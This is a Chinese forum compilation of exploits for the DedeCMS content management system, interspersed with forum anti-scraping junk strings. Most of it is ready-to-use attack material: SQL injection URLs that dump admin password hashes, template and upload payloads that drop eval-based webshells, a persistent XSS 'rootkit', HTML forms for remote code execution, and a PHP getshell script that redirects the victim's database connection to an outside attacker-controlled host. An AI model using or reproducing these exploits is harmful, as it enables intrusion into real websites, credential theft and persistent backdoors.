dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
5 }$ O4 Y; ~" V. ]- s3 ?" T" ~http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
+ N# W# H6 k% V  |% m/ Y
! E3 B% u" z( k- b! |$ X1 j) h+ q) }



/ w( m0 i8 M% ?$ w  w1 [$ \


3 Y8 n3 i0 p0 tDedeCms v5.6 嵌入恶意代码执行漏洞
9 X$ b. _6 u0 R7 o% b1 d注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
; w6 Q5 c+ Q+ u- K发表后查看或修改即可执行
& T% Q5 Q6 g8 x- M! `: D6 va{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
! t5 n6 a* f" V- _6 @- Z; B生成x.php 密码xiao，直接生成一句话。

. a" D& j6 A' M$ ~) ?9 {
$ t! m5 }& G  a9 j8 G4 r

" @9 U5 J' O5 a7 j

: n! F/ V2 E0 n* V9 x

Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
7 J8 T6 x% H$ _- J3 ihttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


- S: L" D/ s- ^$ h7 m# F* m4 x
' E7 B1 |7 e; T1 r( Z" w- P
; F' c3 k8 ~3 }3 q/ a! p# g
. |: w! D/ L) o9 k2 }0 H% c0 N

+ D& a: F4 L" v: L4 N
) H& Y2 d% P0 z# UDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
4 r, I7 x- N- ~# ?' p1 V5 dhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`




( C$ p5 t2 d: g7 l8 q! X
2 W& _# o4 J" a; L7 v
5 x2 D: m3 i; Q  \2 aDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


3 j9 O  ^5 {) h2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
) a) ~: {! c$ B) v. D) zhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

1 q0 k9 w- d7 C, L
http://v57.demo.dedecms.com/dede/login.php

" V( C+ C" A8 f5 C% k& A+ X
color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
. b* r% N, P# b& U* C<?php
error_reporting(E_ERROR);
set_time_limit(0);
: {# H# E7 A( Tprint_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
; ?% R' A7 H1 l) z( u);
echo "\r\n";
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
$ E& ^: i- ~1 ]: z/ c" r% b' Raid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
* ^5 ^; i2 D! A  v+---------------------------------------------------------------------------+
');
exit;
* g1 O3 J, o3 [* `9 e$ f}
' S) z7 s9 L" Z& s$url=$argv[1];
, b4 [$ B* O- p" Y$ w; ^- d& g7 g$aid=$argv[2];
$path=$argv[3];
3 \6 P: m' Z& M% O+ ^: Z3 L$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
6 s% V- T! Y- s, ?% R( r* H( h8 uecho "
  t$ M+ y/ \! G( nExploit Success \n";
, ]2 v7 I) i7 H- tif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
: C! K% A, p$ H/ h

if($aid==2)echo "
" l7 d. s( n7 l6 I: wShell:".$url."/$path/fuck.php\n" ;
  f8 e2 v/ \( U" h9 B

if($aid==3)echo "
' I% Q; _  S4 j* u' W. x- DShell:".$url."/$path/plus/fuck.php\n";
8 h4 H) g5 J; ?

}else{
echo "
0 D) `4 J5 ~" u( B! X6 `/ Y$ b7 wExploit Failed \n";
  g3 g) p0 Q, u2 Q: G' o}
+ ^* e7 r% o! d6 A) E" @  L) }function Getshell($url,$aid,$path){
3 p8 p! G% H; }0 ~$id=$aid;
7 \3 v" q' \5 |/ I6 P$host=$url;
$port="80";
! ~. J+ A; b; a# x: l  ^$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
# E! C; L4 E  A. _# d& x' S% w$data .= "Host: ".$host."\r\n";
2 E/ U/ R3 v; P$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
% K7 m' h9 Y: D  X" P$data .= $content."\r\n";
3 o0 }& j5 Z- x- i" ?$ock=fsockopen($host,$port);
if (!$ock) {
! p5 [) b: O* }6 M4 ?echo "
No response from ".$host."\n";
- x3 [! t" R) L}
2 ]2 w& h5 A; r# R3 @# Tfwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
& E* U/ U& C4 _& r( q* hreturn $exp;
}
}
4 w# ?: d* g2 ?! H2 A# C

?>








; F" a1 |& O- i  W" u
1 P  c6 ~' B9 `9 D  }
5 Z8 D) Q  `: q, q" m' L+ ^. EDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

+ ^0 L1 D* V- |7 H- g! x* U8 f
把上面validate=dcug改为当前的验证码，即可直接进入网站后台

) C9 K% d5 s6 _0 y% G
此漏洞的前提是必须得到后台路径才能实现
, E" }- @* K& c' G



+ m3 t6 ~* y+ ~- F9 S




3 J5 C$ R7 B8 e" j
# d4 q3 b+ E1 C# H) {( m6 JDedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
& S, G7 T# e7 p2 g8 x8 |
4 X0 Q2 y, \3 _: _8 H  W6 _
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
( B! N  r4 l) N3 S<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
/ n5 I2 @2 J4 H6 I<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
. X# |+ {$ e" G, D<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
; @. h6 K: ^: h$ ^+ K0 S<input type="text" value="true" name="nocache" style="width:400">
$ N  }. a- c/ B4 O0 E<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
& w: U  T# h+ v$ V7 h# P0 o+ m4 w4 X% u{
( J$ k5 D! j7 Rdocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
8 ~- i5 h; B& R$ B0 y$ E% b$ c
. h* x: q3 z* i2 b1 S



5 D3 c7 D& {2 y' g3 X( Y9 k! y# y
; O7 X  _8 h& O% U2 l


2 b( p) ?) |/ u/ r! l) y* @3 a
$ f' [2 ^! z0 s+ z1 \8 I( _) MDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
- c" u/ M6 m/ T7 [  ]5 {生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
1 P% Z  h3 n' W# W9 n7 [Dedecms <= V5.6 Final模板执行漏洞
, Q9 H0 v# m0 u  l注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
* `) `; k* p) j4 Z

4 @6 f6 k$ U9 f  N2 L* E3 ]! ~# |* r2 X模板内容是（如果限制图片格式，加gif89a）：
3 ^# G, J4 A, V8 U2 ~{dede:name runphp='yes'}
. {. S; |, X8 ?+ p$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
/ E' o7 x8 {+ n( ?% x@fclose($fp);
, i6 z# A3 T" O4 ?. Q- P{/dede:name}
! x& G# Z# Z' s, M6 s$ v+ V7 K% b2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
! }3 b7 x& V5 Z<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
0 g2 y5 K1 e& K% U2 d# ^; e<input type="hidden" name="oldlitpic" value="" />
! q6 C* c, F- G9 k<input type="hidden" name="sortrank" value="1275972263" />

& x! e0 |3 b% j) P9 j: m/ i
2 Z0 `/ Y  l+ x<div id="mainCp">
+ F7 Z* B7 q- }& r- d' Y" O$ }# e, d<h3 class="meTitle"><strong>修改文章</strong></h3>
$ S8 [- T3 W4 J* b0 S! I' a

  T$ E, l& ?% ]' c<div class="postForm">
+ p- B  x3 ~/ Y# D9 F/ Q  v+ g0 g) a<label>标题：</label>
8 E7 J( |3 ^8 w/ H<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


: x  h6 r* w6 R<label>标签TAG：</label>
0 T/ O( P" J, V; x, z<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
) Y6 h! i  X0 z) x. O
4 |- @$ }. h3 j! I3 s7 R
( r& o! s5 g: I2 y: {<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
8 J5 x4 A7 Z3 O& e* L0 ]) w

2 a' G: D( I9 ]5 P<label>隶属栏目：</label>
9 I) m) B/ N) F; U1 M<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
: i/ ?6 _5 z: `9 R; }</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

# p$ \) @8 z6 ?' m- J/ M1 P! l
! r! b2 c9 Z9 n: l% i+ E<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
- Y, i. x0 ^: S. B1 |* ?</select>
8 b$ c/ m% S' r6 C2 u- V

<label>信息摘要：</label>
% U* F1 O% j3 @- C& G) Z' z* Y<textarea name="description" id="description">1111111</textarea>
+ \4 e* A) B! v8 q# I: Q* S9 X' U, g) s(内容的简要说明)
1 w/ k( c9 l. k9 s: G1 I
' x5 [, ^4 O7 ^! c' H+ b) d
<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

6 E: P( C; U" n. m. z
<input type='text' name='templet'
/ K  H( @7 ?" Uvalue="../ uploads/userup/2/12OMX04-15A.jpg">
: I' ]0 w" b% |3 ]' y" u0 y0 z<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
, \! V! b* C6 H: M. Z</div>

& s1 T& Q1 E! r# X9 Q
& g6 a2 p; k2 ?/ n- C6 O<!-- 表单操作区域 -->
" N% l  l' O# i' ?. `% q$ i<h3 class="meTitle">详细内容</h3>


5 b6 y- i" V1 k( k' V& ?<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
& Z. z% I. ?2 j! H* Q: _- Q" P
  e+ W! H3 s: D5 W8 y6 @' l
: H* I3 m* \# ]  ~<button class="button2" type="submit">提交</button>
+ q/ k* X& P. u9 R<button class="button2 ml10" type="reset">重置</button>
</div>

4 |: Z- y- k1 y' M4 C' D% F2 e4 ?
</div>

( i9 ?0 Q. f. I$ T/ I4 c
3 |% M# p3 Q1 }</form>
4 S  O& N1 m0 \! Q; g
( g4 @0 r0 D2 `+ d* z! c; k5 R
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
; t' J8 b& c4 _+ |http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

2 M9 Q7 c4 M4 M- C& j2 M



1 y, i" E! Y/ ~& F9 A

, s6 t: _( i; \/ X- ~: _
! P) t# J5 J1 o0 V# Z5 V



DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
+ X9 P- }5 m. s3 [; tGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
2 {+ k' k  w, E{/dede:field}
保存为1.gif
( p( O. h5 G& u2 s5 G3 S<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
. ^3 [- ?8 X( [, e4 y<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
# u* P. ~$ _( B0 y1 {1 D7 W<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
7 @; \6 j( H1 x) }: ]2 p4 Z6 O<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
/ x: r% @0 }" s<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
1 y) o! s6 ^8 p4 P+ S" w+ D& z8 x9 o</form>

. q3 O7 B9 C) A; J$ Q
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
. H! Z+ p4 y! O! J9 ~发表文章，然后构造修改表单如下：
% {! S( Z- ?# V6 M4 p; D& @8 ~
. A% p; D' B/ G6 f+ B3 P
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
9 Q0 I6 Y! w+ F" e7 v' t0 i, A$ t+ u<input type="hidden" name="dopost" value="save" />
7 Z) x! l# C. `0 d7 g<input type="hidden" name="aid" value="2" />
5 ?6 `. |) I4 Z. l0 T/ Q* j<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
( B4 s! X& J7 T+ Q7 Q<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
3 g% u9 V% x( T3 T<option value='0' selected>请选择分类...</option>
# W) X9 N+ H5 s1 S<option value='1' class='option3' selected>aa</option></select>
( V/ \( o+ W- a<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>
! J& Q% e5 {+ y7 h" L$ b
; o5 X3 M- V& v! R" o: u0 X1 }



/ _/ J7 c2 {, _$ ?* s/ T, ~


( r% K* ?- s, v2 k& }: P

7 K( m# d' Y' x$ h+ Q: [2 I' G

织梦(Dedecms)V5.6 远程文件删除漏洞
# y* `5 A' H# @  Jhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
9 O2 ~3 G- r0 y/ T- ?  }: a
8 `6 L* V4 d5 R" S! d. E" S
$ I2 j0 D, D* F9 s! R
% H9 ?. S6 a: d  ~

! o2 x2 N# P1 M) n
" u  O, C% u( U* L" Z
6 x6 s6 n/ Y2 Z5 k5 m1 u
' k% p) f# P4 `# s- w3 a2 \

织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
% }- G' s" }# a) [

# m, d: u1 {6 O, d


7 U0 A% ?: a- e* x
4 L. @6 p% J# w/ x0 s3 D) }
& S3 b+ F( B9 A8 \; C. {+ ?


DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
8 ^8 z* K3 k  P) I8 R0 Q8 I# L密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
4 p) F* s2 C( X* R5 j

. @, ~' g1 ~& X/ B4 s


0 U! b! ~: j4 E, {



6 O  b+ Q6 D) R1 ]0 p, L
! \  M8 F$ u1 D* \( n* U! X" M织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
# {# P& n( `: ~4 T0 }http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
, m" B4 a5 E6 Y! f

$ K6 p- B+ _3 a5 _3 D2 \4 A
. r% b8 I3 R2 Y; W: g9 F" p

6 R% q$ ]" |: e  X
' K+ d( C- e4 j8 W



织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
6 m5 E- P% k% \/ o2 x<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
. D; s) a% @; p* ]---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
+ `& A, {3 a1 j6 u7 y* n<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
1 ?, c$ n1 B- r6 n/ f- ?<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
1 ?" s$ l, e/ l0 S. J. ]<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
* F9 M2 b( a: x8 d! o<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
# d& P! C! Y2 o% J9 f# |" Y<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
2 \1 d, R, i# f0 w3 m- [) Q, aNeed register_globals = on...<br />
" w- c$ W$ f! e4 T; MFun the game,get a webshell at /data/cache/fly.php...<br />
9 t3 t2 d: l) Q" J, }; r$ [</body>
</html>

! o4 U1 W& |- }* C
, }5 A% @2 ], E/ h

2 _) H+ E8 L0 L3 H
: O4 M' c# L5 W6 v% j% `- `

0 Z; Q4 \/ Q3 {7 p% P  Q
/ h* E+ J5 {$ i
& U+ i3 U5 X& `/ U  @9 e2 o4 l8 I
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
* a+ K7 Z" i0 V* H9 K6 J利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
5 n) k& m# U2 Q: {. P# Z1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
1 w& |3 ~9 h! S0 I+ T: g可看见错误信息
- {% Q& S1 `3 f: Z7 W6 n2 B9 @
& i7 K: g& `: A) F! l
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
& N* `: Y& d8 k( f

: a3 C5 I+ Z  H8 G8 Q4 Y3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
& W( X: u4 Z2 `' u+ r% _

, `9 Z* _. _( z, }<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


( G8 U/ H4 B* K1 u1 {& s按确定后的看到第2步骤的信息表示文件木马上传成功.
# `$ [1 M& g4 L- y9 v% y, F
7 w2 `& y: q- F+ W
! b8 [* i4 R% U/ G




6 R# |, I; M. K0 a* R, }$ w8 M1 j

7 \6 ?+ W- X0 B4 \+ F# |4 c3 N8 _
5 {0 h) c! O* |- _: ?6 m7 N2 E6 M2 n/ F' F
% M* N$ O& b4 S
3 q: K/ `% z/ \4 r织梦(DedeCms)plus/infosearch.php 文件注入漏洞
% F4 V( ?2 ?# bhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*